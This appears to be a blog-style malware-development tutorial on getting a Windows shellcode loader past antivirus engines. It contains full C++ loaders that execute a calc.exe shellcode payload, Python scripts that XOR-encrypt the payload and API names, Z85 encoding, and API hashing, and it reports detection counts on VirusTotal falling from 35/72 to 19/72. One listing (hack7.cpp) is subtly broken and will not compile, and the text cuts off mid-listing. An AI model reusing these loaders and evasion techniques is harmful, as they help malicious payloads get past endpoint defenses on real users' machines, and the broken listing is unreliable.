Simple

Part 1 - Simple

Code

//hack.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// our payload calc.exe
unsigned char my_payload[] = {
	0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
	0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
	0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
	0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
	0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
	0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
	0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
	0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
	0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
	0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
	0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
	0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
	0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
	0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
	0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
	0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
	0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
	0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
	0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
	0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
	0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
	0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
	0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
	0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
	0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
	0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
 
unsigned int my_payload_len = sizeof(my_payload);
 
int main(void) {
	void * my_payload_mem; // memory buffer for payload
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	
	// Allocate a memory buffer for payload
	my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// copy payload to buffer
	RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
	
	// make new buffer as executable
	rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
	
	if ( rv != 0 ) {
		// run payload
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
	}
	
	return 0;
}

Explanation

Here while allocating memory,

my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

we are using parameter PAGE_READWRITE instead of PAGE_EXECUTE_READWRITE which we had use normally in our previous Malware Development Program’s because some AV engines spot this memory region, which is quite unusable that the process needs a memory which is readable, writeable and executable at the same time.

Run

With PAGE_EXECUTE_READWRITE parameter in VirtualAlloc function

Getting 35/72 AV flagged as malicious.

Now, with PAGE_READWRITE parameter in VirtualAlloc function.

getting 34/72 AV flagged as malicious.

Part 2 - Payload Encryption

XOR

Here we will try to hide our payload by encrypting it with XOR encryption.

Step 1 : Encrypt our payload.

  • Convert payload to .bin file.
#payload_to_binary.py
#calc payload
payload = [
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
    0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
    0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
    0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
    0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
    0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
    0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
    0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
    0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
    0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
    0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
    0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
    0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
    0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
    0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
    0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
    0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
    0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
    0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
    0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
    0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
    0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
    0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
]
 
with open("calc.bin", "wb") as f:
    f.write(bytearray(payload))
  • Encrypt calc.bin to xor.
import sys
 
# XOR function for binary-safe XOR
def xor(data, key):
    key_bytes = key.encode()
    key_len = len(key_bytes)
    return bytes([b ^ key_bytes[i % key_len] for i, b in enumerate(data)])
 
# Encrypt and format as C-style shellcode
def xor_encrypt(data, key):
    ciphertext = xor(data, key)
    c_array = ', '.join(f'0x{b:02x}' for b in ciphertext)
    formatted = f'unsigned char payload[] = {{ {c_array} }};'
    return formatted, ciphertext
 
# Key for XOR
my_secret_key = "mysupersecretkey"
 
# Read binary payload
with open("calc.bin", "rb") as f:
    plaintext = f.read()
 
# Encrypt
c_style_shellcode, _ = xor_encrypt(plaintext, my_secret_key)
 
# Output the result
print(c_style_shellcode)

Step 2 : Write Exploit.

Code

//hack2.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// our xor encrypted payload
unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x05, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x07, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x09, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x06, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x06, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x01, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x02, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0x0f, 0x6f, 0xe3, 0x89, 0x85, 0x01, 0x6e, 0xde, 0x3e, 0x7e, 0x0b, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x06, 0x15, 0x07, 0x06, 0x57, 0x08, 0x01, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);
 
// key for XOR decrypt
char my_secret_key[] = "mysupersecretkey";
 
// decrypt deXOR function
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;
			data[i] = data[i] ^ key[j];
			j++;
		}
	}
 
int main(void) {
	void * my_payload_mem; // memory buffer for payload
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
 
	// Allocate a memory buffer for payload
	my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
	// Decrypt (DeXOR) the payload
	XOR((char *) my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));
 
	// copy payload to buffer
	RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
 
	// make new buffer as executable
	rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
	if ( rv != 0 ) {
		// run payload
		th = CreateThread(0, 0,
		(LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
	}
 
	return 0;
}

Compile

x86_64-w64-mingw32-gcc hack2.cpp -o hack2.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc >/dev/null 2>&1

Run


Now 29/72 AV detected this file as malicious which is good progress from our last program.

Z85

  • First of all copy z85.h and z85.c to current directory.
    Now encrypt the xor encrypted payload to z85 with this

Z85 encryption code

//encode.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "z85.h"
#include "z85.c"
#include <windows.h>
char* encode(const char* src, size_t len) {
	// allocate output buffer (+1 for null terminating char)
	char* dest = (char*)malloc(Z85_encode_with_padding_bound(len) + 1);
	if (len == 0) {
		dest[0] = '\0'; // write null terminating char
		return dest;
	}
	// encode the input buffer, padding it if necessary
	len = Z85_encode_with_padding(src, dest, len);
	if (len == 0) { // something went wrong
		free(dest);
		return NULL;
	}
	dest[len] = '\0'; // write null terminating char
	return dest;
}
unsigned char payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x05, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x07, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x09, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x06, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x06, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x01, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x02, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0x0f, 0x6f, 0xe3, 0x89, 0x85, 0x01, 0x6e, 0xde, 0x3e, 0x7e, 0x0b, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x06, 0x15, 0x07, 0x06, 0x57, 0x08, 0x01, 0x16, 0x75 };
int main() {
	char* str = encode((const char*)payload, sizeof(payload));
	if (str) {
		printf("%s\n", str);
		free(str);
	}
	return 0;
}

Compile `encode.cpp

x86_64-w64-mingw32-g++ -O2 encode.cpp -o encode.exe \
-I/usr/share/mingw-w64/include/ \
-I/home/cocomelonc/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8 \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

  • Copy the encrypted text.

Exploit code

//hack7.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "z85.h"
#include "z85.c"
 
// Replaace it with your z85 encoded text.
char e_my_payload[] = "4KUMu/Fq{<QwN^IMh9i-Bj26716!Pk81Uoycy:nu#o!(zFat52Wfdxa+Y^3H!.9[$yA.fd:Q]F[&B/HjYkr6&I}.}BFcTO]BQ#pw8zfZg=]}.<beN>Ci%08}"
"P<#Dv5AKy]PeU6A#%6LdFy{c2<XH*gP:S!6)C}9vmrHB5Ajz3=Uz6?].0KB{L<#DH9AKuGo)R+cf%0@vGy]Gh?BNqbfWiv7CehYKmefM=1f*v.*I9<6TI&f."
"Tg:t9YvVhQ(NW=2.=t3{ozfZhBA4Ra?wmxN<hpky]0@!dK+AZb}gA%]T&NW^UXh0GTsxP.Rz@VXd0Dc:TEHvbqA6b@MZNRha6:B}A2MUY-"
size_t decoded_len = (strlen(e_my_payload) / 5) * 4;
char d_my_payload[decoded_len];
// our xor encrypted payload
unsigned char my_payload[] = d_my_payload;
unsigned int my_payload_len = decode_len;
 
typedef LPVOID(WINAPI* pVirtualAlloc)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD flAllocationType,
	DWORD flProtect
);
 
DWORD calcMyHash(char* data) {
	DWORD hash = 0x35;
	for (int i = 0; i < strlen(data); i++) {
		hash += data[i] + (hash << 1);
	}
	return hash;
}
 
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
	PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
	PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
	PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions);
	PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames);
	PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals);
	for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
		LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);
		if (calcMyHash(pFuncName) == myHash) {
			printf("successfully found! %s - %d\n", pFuncName, myHash);
			return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
		}
	}
	return nullptr;
}
// key for XOR decrypt
char my_secret_key[] = "mysupersecretkey";
 
// decrypt deXOR function
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;
			data[i] = data[i] ^ key[j];
			j++;
		}
	}
 
int main(void) {
	void * my_payload_mem; // memory buffer for payload
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	
	HMODULE mod = LoadLibrary("kernel32.dll");
	LPVOID addr = getAPIAddr(mod, 52968519);
	printf("0x%p\n", addr);
	size_t d = Z85_decode_with_padding(e_my_payload, d_my_payload, strlen(e_my_payload));
	XOR((char *) my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));
	
	pVirtualAlloc myVirtualAlloc = (pVirtualAlloc)addr;
	
	// Allocate a memory buffer for payload
	my_payload_mem = myVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
	if (!my_payload_mem){
		printf("error at my_payload_mem");
	}
	// Decrypt (DeXOR) the payload
	// copy payload to buffer
	RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
	// make new buffer as executable
	rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
	if ( rv != 0 ) {
		// run payload
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
		if (th == NULL) {
		    // CreateThread failed
		    DWORD error_code = GetLastError();
		    fprintf(stderr, "Error: CreateThread failed. GetLastError = %lu\n", error_code);
		    // Optional: exit or handle error
		}
		WaitForSingleObject(th, -1);
	}
	return 0;
}

Compile

x86_64-w64-mingw32-gcc hack7.cpp -o hack7.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Run


Part 3 - Function call Obfuscation.

Now , here we will try to obfuscated our function call.

  • If we enumerate hack2.exe in VirusTotal we will see a function VirtualAlloc. Here we will try to bypass it.

By encrypting Function name.

Example:
If we want to access a function in dll. First we call GetModuleHandle and then get the address of the function we want in return.

Here also we will try access VirtualAlloc in same way.

Step 1 : Encrypt the VirtualAlloc function name.

# XOR function to encrypt data
def xor(data, key):
    key = str(key)
    l = len(key)
    output_str = ""
 
    for i in range(len(data)):
        current = data[i]
        current_key = key[i % l]
        output_str += chr(ord(current) ^ ord(current_key))
    return output_str
 
# Encrypt and convert to C-style hex array
def xor_encrypt(data, key):
    ciphertext = xor(data, key)
    hex_bytes = ', '.join(f'0x{ord(x):02x}' for x in ciphertext)
    formatted = f'{{ {hex_bytes} }};'
    return formatted, key
 
# Key and plaintext
plaintext = "VirtualAlloc"
my_secret_key = "mysupersecretkey"
 
# Encrypt
ciphertext, _ = xor_encrypt(plaintext, my_secret_key)
 
# Output the result
print(ciphertext)

Step 2 : Write Exploit.

We will use hack2.cpp and do some changes in it.

//hack3.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// our xor encrypted payload
unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x05, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x07, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x09, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x06, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x06, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x01, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x02, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0x0f, 0x6f, 0xe3, 0x89, 0x85, 0x01, 0x6e, 0xde, 0x3e, 0x7e, 0x0b, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x06, 0x15, 0x07, 0x06, 0x57, 0x08, 0x01, 0x16, 0x75 };
unsigned int my_payload_len = sizeof(my_payload);
 
// XOR encrypted VirtualAlloc
unsigned char cVirtualAlloc[] = { 0x3b, 0x10, 0x01, 0x01, 0x05, 0x04, 0x1e, 0x32, 0x09, 0x0f, 0x1d, 0x06 };
unsigned int cVirtualAllocLen = sizeof(cVirtualAlloc);
 
LPVOID (WINAPI * pVirtualAlloc)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD flAllocationType,
	DWORD flProtect
);
 
// key for XOR decrypt
char my_secret_key[] = "mysupersecretkey";
 
// decrypt deXOR function
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;
			data[i] = data[i] ^ key[j];
			j++;
		}
	}
 
int main(void) {
	void * my_payload_mem; // memory buffer for payload
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	
	XOR((char *)cVirtualAlloc, cVirtualAllocLen, my_secret_key, strlen(my_secret_key));
	pVirtualAlloc = (LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD))
                    GetProcAddress(GetModuleHandle("kernel32.dll"), (LPCSTR)cVirtualAlloc);
	
	if (!pVirtualAlloc) {
        	printf("Failed to resolve VirtualAlloc\n");
	        return -1;
	}
	
	// Allocate a memory buffer for payload
	my_payload_mem = pVirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	// Decrypt (DeXOR) the payload
	XOR((char *) my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key));
 
	// copy payload to buffer
	RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
	
	// make new buffer as executable
	rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
	if ( rv != 0 ) {
		// run payload
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
	}
	
	return 0;
}

Compile

x86_64-w64-mingw32-gcc hack3.cpp -o hack3.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Run



Now only 19/72 AV flagged exe as malicious.

And also from imports we can see that now no more we are able to see VirtualAlloc function. And we have successfully bypassed it.

By ordinals

Each function exported by a DLL is identified by a numeric ordinal and optionally a name. Likewise, functions can be imported from a DLL either by ordinal or by name. The ordinal represents the position of the function’s address pointer in the DLL Export Address table.

Step 1 : Encrypt VirtualAlloc and kernel32.dll.

  • Use python script used above to encrypt function name.

    Step 2 : Write Exploit.
//hack5.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
// our xor encrypted payload
